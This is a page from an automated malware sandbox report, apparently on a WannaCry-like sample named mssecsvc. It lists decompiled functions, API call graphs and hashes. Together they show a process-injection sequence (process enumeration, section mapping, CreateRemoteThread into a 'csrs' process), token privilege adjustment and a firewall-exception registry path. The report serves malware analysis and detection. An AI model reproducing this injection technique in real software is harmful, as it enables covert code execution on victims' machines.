                                                                                                                                                                • Instruction ID: c485997e86543de57337d3e0bdea54bab72de635829bdff9b82c5e6c0de652ac
                                                                                                                                                                • Opcode Fuzzy Hash: 153d6b8474e22b40a0f04ab804704d83fe284c5cb655dda2b9faf65c0ba0e213
                                                                                                                                                                • Instruction Fuzzy Hash: 00B1E031514249FFEB21AF20C849BAA7BE9EF45314F10016AFD088E281E7F19F45DB59
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD05F2 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 193stringnativeprocessCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 77 bd05f2-bd0615 GetModuleHandleA call bd10ce 80 bd05a9-bd05b3 CloseHandle 77->80 81 bd0617-bd0630 77->81 80->77 82 bd0639-bd0652 81->82 83 bd0632 81->83 82->80 84 bd0658-bd0671 82->84 83->82 84->80 85 bd0677-bd0690 84->85 85->80 86 bd0696-bd069c 85->86 87 bd069e-bd06b1 86->87 88 bd06d8-bd06de 86->88 87->80 89 bd06b7-bd06bd 87->89 90 bd06fc-bd0715 lstrcpyW call bd24ae 88->90 91 bd06e0-bd06f3 88->91 89->88 92 bd06bf-bd06d2 89->92 96 bd074c-bd0775 NtMapViewOfSection 90->96 97 bd0717-bd0746 GetPEB lstrcpyW lstrcatW call bd24ae 90->97 91->90 93 bd06f5 91->93 92->80 92->88 93->90 96->80 99 bd077b-bd078f call bd0305 NtOpenProcessToken 96->99 97->80 97->96 103 bd07c5-bd07e4 CreateToolhelp32Snapshot Process32First 99->103 104 bd0791-bd07a3 call bd115d call bd07ac 99->104 106 bd07eb-bd07f5 Process32Next 103->106 114 bd080e-bd080f 104->114 115 bd07a5 104->115 108 bd0865-bd0872 CloseHandle 106->108 109 bd07f7-bd07fb 106->109 108->80 109->106 111 bd07fd-bd080d OpenProcess 109->111 111->106 113 bd080f 111->113 116 bd0810-bd0818 call bd2574 113->116 114->116 115->116 117 bd07a7-bd07c4 115->117 121 bd085c-bd0863 CloseHandle 116->121 122 bd081a-bd0820 116->122 117->103 121->106 122->121 123 bd0822-bd0832 122->123 123->121 124 bd0834-bd084b CreateRemoteThread 123->124 124->121 125 bd084d-bd0857 call bd05ba 124->125 125->121
                                                                                                                                                                APIs
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 00BD05AD
                                                                                                                                                                • GetModuleHandleA.KERNEL32(00BD05EC), ref: 00BD05F2
                                                                                                                                                                • lstrcpyW.KERNEL32(\BaseNamedObjects\mvatVt,\BaseNamedObjects\mvatVt), ref: 00BD070A
                                                                                                                                                                • lstrcpyW.KERNEL32(\BaseNamedObjects\mvatVt,?), ref: 00BD072D
                                                                                                                                                                • lstrcatW.KERNEL32(\BaseNamedObjects\mvatVt,\mvatVt), ref: 00BD073B
                                                                                                                                                                • NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00007700,00000000,?,00000002,00000000,00000040), ref: 00BD076B
                                                                                                                                                                • NtOpenProcessToken.NTDLL(000000FF,00000020), ref: 00BD0786
                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00BD07C9
                                                                                                                                                                • Process32First.KERNEL32 ref: 00BD07DC
                                                                                                                                                                • Process32Next.KERNEL32 ref: 00BD07ED
                                                                                                                                                                • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,00007700), ref: 00BD0805
                                                                                                                                                                • CreateRemoteThread.KERNELBASE(?,00000000,00000000,-00003BD0,00000002,00000000), ref: 00BD0842
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,00007700), ref: 00BD085D
                                                                                                                                                                • CloseHandle.KERNEL32 ref: 00BD086C
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Handle$Close$CreateOpenProcessProcess32lstrcpy$FirstModuleNextRemoteSectionSnapshotThreadTokenToolhelp32Viewlstrcat
                                                                                                                                                                • String ID: \BaseNamedObjects\mvatVt$\BaseNamedObjects\mvatVt$csrs
                                                                                                                                                                • API String ID: 1545766225-2550090786
                                                                                                                                                                • Opcode ID: becb37177b54d57dd163730ce107910a0259af3ba69fe014b6e852213aa23ad2
                                                                                                                                                                • Instruction ID: 4d59f54eabd59d210df2ecd086a0de749d48cc3e2e30cc5b09ca45a54e7f96ae
                                                                                                                                                                • Opcode Fuzzy Hash: becb37177b54d57dd163730ce107910a0259af3ba69fe014b6e852213aa23ad2
                                                                                                                                                                • Instruction Fuzzy Hash: 5471DD31210205FFDB20AF10C849BAE7BADEF55315F0400AAED099E291E7B1AF05EB59
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD252F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29nativeCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 180 bd252f-bd2573 NtOpenSection
                                                                                                                                                                APIs
                                                                                                                                                                • NtOpenSection.NTDLL(?,0000000E), ref: 00BD255E
                                                                                                                                                                Strings
                                                                                                                                                                • \BaseNamedObjects\mvatVt, xrefs: 00BD254B
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: OpenSection
                                                                                                                                                                • String ID: \BaseNamedObjects\mvatVt
                                                                                                                                                                • API String ID: 1950954290-4062877343
                                                                                                                                                                • Opcode ID: d78bf25e7d60e3ca5bd26387aae6e314818fabfb1d4b2e27edbc6fd945c633ca
                                                                                                                                                                • Instruction ID: be79e926c7ba3cdd2c7dd474d1815d54d5159c487d34c6ebacd093897ac0aaf8
                                                                                                                                                                • Opcode Fuzzy Hash: d78bf25e7d60e3ca5bd26387aae6e314818fabfb1d4b2e27edbc6fd945c633ca
                                                                                                                                                                • Instruction Fuzzy Hash: 75E09AF17402063AFB288A29CC17FA7228DCB80602F0C8604F918DA080E5B4AB108268
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD2574 Relevance: 3.1, APIs: 2, Instructions: 66nativeCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 181 bd2574-bd257c call bd252f 184 bd2661-bd2664 181->184 185 bd2582-bd25b4 NtMapViewOfSection FindCloseChangeNotification 181->185 185->184 186 bd25ba-bd25c0 185->186 187 bd25ce-bd25d8 186->187 188 bd25c2-bd25cb 186->188 189 bd25ef-bd262a call bd2477 * 3 187->189 190 bd25da-bd25e2 187->190 188->187 199 bd262c-bd2632 call bd2477 189->199 200 bd2637-bd263f 189->200 190->189 191 bd25e4-bd25ea call bd2477 190->191 191->189 199->200 202 bd264c-bd2654 200->202 203 bd2641-bd2647 call bd2477 200->203 202->184 205 bd2656-bd265c call bd2477 202->205 203->202 205->184
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00BD252F: NtOpenSection.NTDLL(?,0000000E), ref: 00BD255E
                                                                                                                                                                • NtMapViewOfSection.NTDLL(00000000,?,?,00000000,0000B700,00000000,?,00000002,00100000,00000040), ref: 00BD25A4
                                                                                                                                                                • FindCloseChangeNotification.KERNELBASE(00000000,0000B700,00000000,?,00000002,00100000,00000040,00000000,0000B700,00000000,?,00BD0815), ref: 00BD25AC
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Section$ChangeCloseFindNotificationOpenView
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1694706092-0
                                                                                                                                                                • Opcode ID: 7bef6bf2a50047ffc7f3cd4018dfe575c0559d17770fc5c6e4c634ed419af6cd
                                                                                                                                                                • Instruction ID: fba7564c955865994041103534af4fbb5dca34036aa4610135b8a96514dca663
                                                                                                                                                                • Opcode Fuzzy Hash: 7bef6bf2a50047ffc7f3cd4018dfe575c0559d17770fc5c6e4c634ed419af6cd
                                                                                                                                                                • Instruction Fuzzy Hash: F2218370300685ABDB24DF25DC56FA9B3A9FFA0744F404159F9198F394EBB1AE10CB54
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD1422 Relevance: 3.0, APIs: 2, Instructions: 38nativeCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 207 bd1422-bd1474 LookupPrivilegeValueA NtAdjustPrivilegesToken
                                                                                                                                                                APIs
                                                                                                                                                                • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00BD145A
                                                                                                                                                                • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00BD146A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3615134276-0
                                                                                                                                                                • Opcode ID: cc86f677ff09b61866951c90db79301e57ffd1e2cff1b35255cc9d89dc5b2434
                                                                                                                                                                • Instruction ID: d6f38f481fcad269b120698a2c1356ff37e0dff7a02be2eff211d383f83c851a
                                                                                                                                                                • Opcode Fuzzy Hash: cc86f677ff09b61866951c90db79301e57ffd1e2cff1b35255cc9d89dc5b2434
                                                                                                                                                                • Instruction Fuzzy Hash: F8F0E932542010BBD6201B42CC8EED73E28EF533A0F040455F4484E151C2624BA1D3F4
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD2477 Relevance: 3.0, APIs: 2, Instructions: 25nativeCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 208 bd2477-bd24ad NtProtectVirtualMemory NtWriteVirtualMemory
                                                                                                                                                                APIs
                                                                                                                                                                • NtProtectVirtualMemory.NTDLL(?,?,?,00000040), ref: 00BD249B
                                                                                                                                                                • NtWriteVirtualMemory.NTDLL ref: 00BD24A4
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MemoryVirtual$ProtectWrite
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 151266762-0
                                                                                                                                                                • Opcode ID: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                                                                                                                                                                • Instruction ID: 6bbb67ea70d6ee96dfa5f1d7b4d314b28acc786a60d934acbd3f762ecc45b662
                                                                                                                                                                • Opcode Fuzzy Hash: 3b89ad314080acfcfa5e752e4380cd5b7e8fc3aa7940f56e0bfe36a9f1ccff9c
                                                                                                                                                                • Instruction Fuzzy Hash: 2AE012E07502007FF5185F55DC5FF7B391DDB41751F410208FA0A981C4F9A15E18467A
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD144A Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 209 bd144a-bd1474 LookupPrivilegeValueA NtAdjustPrivilegesToken
                                                                                                                                                                APIs
                                                                                                                                                                • LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00BD145A
                                                                                                                                                                • NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00BD146A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AdjustLookupPrivilegePrivilegesTokenValue
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3615134276-0
                                                                                                                                                                • Opcode ID: 516db6a43922e3348a8f3b60dc7b7b81588e67f26302b6e21a5b03875f902ac7
                                                                                                                                                                • Instruction ID: 47fd2fdfef69c01f2383a78087d1294dd7e4f4bd71475d1ca0affc6c0d2f20e2
                                                                                                                                                                • Opcode Fuzzy Hash: 516db6a43922e3348a8f3b60dc7b7b81588e67f26302b6e21a5b03875f902ac7
                                                                                                                                                                • Instruction Fuzzy Hash: 1BD06771643034BBD6312A568C0EEE77D1DEF577A0F015441F9089A1A1C5A28EA1C6F5
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD07AC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 62processthreadinjectionCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 127 bd07ac-bd07bf call bd144a FreeLibrary FindCloseChangeNotification 130 bd07c5-bd07e4 CreateToolhelp32Snapshot Process32First 127->130 131 bd07eb-bd07f5 Process32Next 130->131 132 bd0865-bd0872 CloseHandle 131->132 133 bd07f7-bd07fb 131->133 134 bd05a9-bd0615 CloseHandle GetModuleHandleA call bd10ce 132->134 133->131 135 bd07fd-bd080d OpenProcess 133->135 143 bd0617-bd0630 134->143 135->131 136 bd080f 135->136 138 bd0810-bd0818 call bd2574 136->138 144 bd085c-bd0863 CloseHandle 138->144 145 bd081a-bd0820 138->145 146 bd0639-bd0652 143->146 147 bd0632 143->147 144->131 145->144 148 bd0822-bd0832 145->148 146->134 149 bd0658-bd0671 146->149 147->146 148->144 150 bd0834-bd084b CreateRemoteThread 148->150 149->134 151 bd0677-bd0690 149->151 150->144 152 bd084d-bd0857 call bd05ba 150->152 151->134 153 bd0696-bd069c 151->153 152->144 155 bd069e-bd06b1 153->155 156 bd06d8-bd06de 153->156 155->134 157 bd06b7-bd06bd 155->157 158 bd06fc-bd0715 lstrcpyW call bd24ae 156->158 159 bd06e0-bd06f3 156->159 157->156 160 bd06bf-bd06d2 157->160 164 bd074c-bd0775 NtMapViewOfSection 158->164 165 bd0717-bd0746 GetPEB lstrcpyW lstrcatW call bd24ae 158->165 159->158 161 bd06f5 159->161 160->134 160->156 161->158 164->134 167 bd077b-bd078f call bd0305 NtOpenProcessToken 164->167 165->134 165->164 167->130 171 bd0791-bd07a3 call bd115d call bd07ac 167->171 176 bd080e-bd080f 171->176 177 bd07a5 171->177 176->138 177->138 178 bd07a7-bd07c4 177->178 178->130
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00BD144A: LookupPrivilegeValueA.ADVAPI32(00000000,?), ref: 00BD145A
                                                                                                                                                                  • Part of subcall function 00BD144A: NtAdjustPrivilegesToken.NTDLL(?,00000000,?,00000000,00000000,00000000), ref: 00BD146A
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 00BD05AD
                                                                                                                                                                • FreeLibrary.KERNEL32(745B0000,?,00BD079B,00000000,00007700,00000000,?,00000002,00000000,00000040,00000000,00007700), ref: 00BD07B8
                                                                                                                                                                • FindCloseChangeNotification.KERNELBASE(?,?,00BD079B,00000000,00007700,00000000,?,00000002,00000000,00000040,00000000,00007700), ref: 00BD07BF
                                                                                                                                                                • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00BD07C9
                                                                                                                                                                • Process32First.KERNEL32 ref: 00BD07DC
                                                                                                                                                                • Process32Next.KERNEL32 ref: 00BD07ED
                                                                                                                                                                • OpenProcess.KERNEL32(0000002A,00000000,?,?,?,?,?,?,00000002,00000000,00000040,00000000,00007700), ref: 00BD0805
                                                                                                                                                                • CreateRemoteThread.KERNELBASE(?,00000000,00000000,-00003BD0,00000002,00000000), ref: 00BD0842
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,00000002,00000000,00000040,00000000,00007700), ref: 00BD085D
                                                                                                                                                                • CloseHandle.KERNEL32 ref: 00BD086C
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Close$Handle$CreateProcess32$AdjustChangeFindFirstFreeLibraryLookupNextNotificationOpenPrivilegePrivilegesProcessRemoteSnapshotThreadTokenToolhelp32Value
                                                                                                                                                                • String ID: csrs
                                                                                                                                                                • API String ID: 2727238916-2321902090
                                                                                                                                                                • Opcode ID: f5f5cebb265d1853f7019ca829e2ca1ff70c3e720cc08ba597563a20905a2943
                                                                                                                                                                • Instruction ID: 20793470305b0372e2c8e9442d645e664afb572364709bdab046bf4af8132426
                                                                                                                                                                • Opcode Fuzzy Hash: f5f5cebb265d1853f7019ca829e2ca1ff70c3e720cc08ba597563a20905a2943
                                                                                                                                                                • Instruction Fuzzy Hash: FB112130516105FBEB256F21CC4DFBF7AADEF54701F00006EFD4699151E6B19E019A6A
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00A71937 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 210 a71937-a71974 call a71880 * 2 216 a71976-a71985 210->216 219 a71987-a719d5 call a71919 CreateSemaphoreA 216->219
                                                                                                                                                                C-Code - Quality: 64%
                                                                                                                                                                			E00A71937(void* __ebx, void* __ecx, void* __edx, void* __edi, intOrPtr __esi, void* __eflags) {
				void* _t26;
				signed int _t28;
				void* _t35;
				void* _t38;
				void* _t45;
				signed char _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				void* _t61;
				char* _t62;

				_t58 = __esi;
				_t45 = __edx;
				_t28 = E00A71880(_t26, __ebx, 0xbedc8246) & 0xffffff00 | _t63;
				asm("adc eax, 0xfffffffa");
				 *((intOrPtr*)(_t61 - 0x1b)) = _t58;
				E00A71880(_t28, __ebx, 0x2354ad82);
				 *((intOrPtr*)(_t62 + 0x4c)) = _t58;
				_t59 = _t62 + 0x28;
				_push(0x20);
				_t55 =  *((intOrPtr*)(_t62 + 0x4c));
				_t49 =  !(_t45 - 1);
				do {
					 *_t55(_t62, 8);
					 *((intOrPtr*)(_t62 + 0x50))();
					 *_t62 =  *_t62 - 1;
				} while ( *_t62 != 0);
				_pop(_t35);
				E00A71919(_t49 - 0xdd, _t59, _t35 - _t61);
				 *_t15 = 1;
				 *(_t59 + 0x14) = 0xc;
				 *((intOrPtr*)(_t59 + 0x18)) = _t59;
				 *((char*)(_t59 + 2)) =  *((char*)(_t59 + 2)) - 0xfc;
				 *((intOrPtr*)(_t61 + 0x38e)) =  *((intOrPtr*)(_t61 + 0x38e)) + _t61;
				_t38 = CreateSemaphoreA(_t59 + 0x14, 3, 4, _t61 + 0x1ab); // executed
				 *((intOrPtr*)(_t61 + 0x38e)) =  *((intOrPtr*)(_t61 + 0x38e)) - _t61;
				return _t38;
			}














                                                                                                                                                                0x00a71937
                                                                                                                                                                0x00a71937
                                                                                                                                                                0x00a71941
                                                                                                                                                                0x00a71944
                                                                                                                                                                0x00a71949
                                                                                                                                                                0x00a7195a
                                                                                                                                                                0x00a71967
                                                                                                                                                                0x00a7196b
                                                                                                                                                                0x00a7196e
                                                                                                                                                                0x00a71970
                                                                                                                                                                0x00a71974
                                                                                                                                                                0x00a71976
                                                                                                                                                                0x00a7197c
                                                                                                                                                                0x00a7197e
                                                                                                                                                                0x00a71982
                                                                                                                                                                0x00a71982
                                                                                                                                                                0x00a7198e
                                                                                                                                                                0x00a71993
                                                                                                                                                                0x00a71998
                                                                                                                                                                0x00a7199d
                                                                                                                                                                0x00a719ad
                                                                                                                                                                0x00a719b3
                                                                                                                                                                0x00a719c1
                                                                                                                                                                0x00a719c7
                                                                                                                                                                0x00a719cd
                                                                                                                                                                0x00a719d5

                                                                                                                                                                APIs
                                                                                                                                                                • CreateSemaphoreA.KERNEL32(0000000C,00000003,00000004,?,00000001), ref: 00A719C7
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386870817.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000010.00000002.385852572.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                • Associated: 00000010.00000002.385861828.0000000000401000.00000020.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                • Associated: 00000010.00000002.385887345.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                • Associated: 00000010.00000002.385989557.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                • Associated: 00000010.00000002.386002863.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                • Associated: 00000010.00000002.386077102.0000000000710000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_400000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateSemaphore
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1078844751-0
                                                                                                                                                                • Opcode ID: 38d9393eb725c631237ab43a3d77c8f51a2f25e4d215c9cb3a2d3d8518a4b0bf
                                                                                                                                                                • Instruction ID: 51b66771240c269f5bfcdc117c63efe6c0755afb275683365717d73df10a4ef7
                                                                                                                                                                • Opcode Fuzzy Hash: 38d9393eb725c631237ab43a3d77c8f51a2f25e4d215c9cb3a2d3d8518a4b0bf
                                                                                                                                                                • Instruction Fuzzy Hash: 311102351043248FC721CF289C55B9ABBE4AF86724F00864DE1A98B1C1CBB09249CBD2
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Non-executed Functions

                                                                                                                                                                Function 00BD3BD5 Relevance: 30.2, APIs: 15, Strings: 2, Instructions: 472libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 222 bd3bd5-bd3bf1 223 bd3c41-bd3c4b call bd252f 222->223 224 bd3bf3-bd3bfb 222->224 230 bd3c4d-bd3c74 call bd3c5a call bd26d4 GetProcAddress 223->230 231 bd3c93-bd3cdb GetSystemDirectoryA call bd3cb7 223->231 226 bd3bfc-bd3bff 224->226 228 bd3c2b 226->228 229 bd3c01-bd3c06 226->229 228->226 233 bd3c2d-bd3cdb GetWindowsDirectoryA call bd3cce 228->233 229->228 232 bd3c08-bd3c29 229->232 245 bd3c78-bd3c92 call bd3c88 230->245 246 bd3c76 230->246 240 bd3cdd-bd3d58 GetProcAddress LoadLibraryA call bd10ce call bd01cb GetTickCount call bd3b0e 231->240 232->228 233->240 254 bd3d5a 240->254 255 bd3d60-bd3d65 call bd3b0e 240->255 245->231 246->245 254->255 258 bd3d67-bd3d7e 255->258 259 bd3d80-bd3d90 call bd62df call bd273c 258->259 264 bd3d96-bd3db2 call bd62df 259->264 265 bd3d92-bd3d94 259->265 267 bd3db3-bd3db4 264->267 265->267 267->259 269 bd3db6-bd3dbc 267->269 269->258 270 bd3dbe-bd3dc8 call bd273c 269->270 273 bd3dca-bd3dd2 call bd2750 270->273 274 bd3dd7-bd3e10 call bd273c GetVolumeInformationA 270->274 273->274 278 bd3e1a-bd3e20 274->278 279 bd3e12-bd3e18 274->279 280 bd3e29-bd3e36 278->280 281 bd3e22 278->281 279->280 282 bd3ebd 280->282 283 bd3e3c-bd3e60 call bd3e4d 280->283 281->280 284 bd3ec7 282->284 283->284 292 bd3e62-bd3e68 283->292 286 bd3ec9-bd3ee1 CreateThread CloseHandle 284->286 287 bd3ee7-bd3f54 call bd3ef8 call bd10ce call bd3f27 call bd10ce 284->287 286->287 306 bd425f-bd4261 RtlExitUserThread 287->306 307 bd3f5a-bd3f9d CreateThread CloseHandle CreateEventA 287->307 294 bd3e6a-bd3e6f 292->294 295 bd3e91-bd3ea5 292->295 296 bd3e98-bd3ea5 294->296 297 bd3e71-bd3e90 294->297 299 bd3eac-bd3eb6 295->299 296->299 297->295 299->282 301 bd3eb8 call bd339d 299->301 301->282 309 bd3fa3-bd3fbb call bd3792 307->309 312 bd3fbd-bd3fc0 309->312 313 bd3fc2-bd3fd5 call bd3b28 309->313 312->313 314 bd3fdd-bd3fe5 312->314 319 bd420d-bd4214 313->319 320 bd3fdb 313->320 317 bd3fe7-bd3ff4 lstrlen 314->317 318 bd3ff6-bd3fff 314->318 317->317 317->318 324 bd4005-bd400c 318->324 325 bd4254-bd425a 318->325 319->306 322 bd4216-bd421d 319->322 323 bd4012-bd4031 320->323 326 bd421f-bd422b SetEvent 322->326 327 bd4231-bd424f Sleep ResetEvent 322->327 323->319 329 bd4037-bd404a 323->329 324->323 325->309 326->327 327->309 331 bd4206 329->331 332 bd4050-bd4129 call bd273c call bd2750 GetVersionExA call bd2750 call bd32f0 call bd4109 call bd32f0 329->332 331->319 348 bd412b-bd4141 CreateThread CloseHandle 332->348 349 bd4147 332->349 348->349 350 bd414d-bd4163 349->350 350->331 352 bd4169-bd416b 350->352 353 bd416d-bd4185 352->353 354 bd418a-bd4192 353->354 355 bd4187 353->355 354->353 356 bd4194 354->356 355->354 357 bd419a-bd419e 356->357 358 bd41b0-bd41b2 357->358 359 bd41a0-bd41a7 call bd2f08 357->359 361 bd41b4-bd41be 358->361 359->331 364 bd41a9 359->364 363 bd41c3-bd41d1 call bd6480 call bd649a 361->363 363->350 370 bd41d7-bd41e1 Sleep 363->370 364->361 366 bd41ab-bd41ae 364->366 366->357 370->363 371 bd41e3-bd41f4 GetTickCount 370->371 371->350 372 bd41fa-bd4201 371->372 372->331 372->350
                                                                                                                                                                APIs
                                                                                                                                                                • GetWindowsDirectoryA.KERNEL32(00BD69E2,00000104), ref: 00BD3C39
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00000002), ref: 00BD3C6C
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00BD3CD9), ref: 00BD3CE4
                                                                                                                                                                • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00BD3CF7
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00BD3D2B
                                                                                                                                                                • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00BD6E36,00000000,00000000,00000000,00000000), ref: 00BD3DFD
                                                                                                                                                                Strings
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00BD3EA4
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 00BD3CF6
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
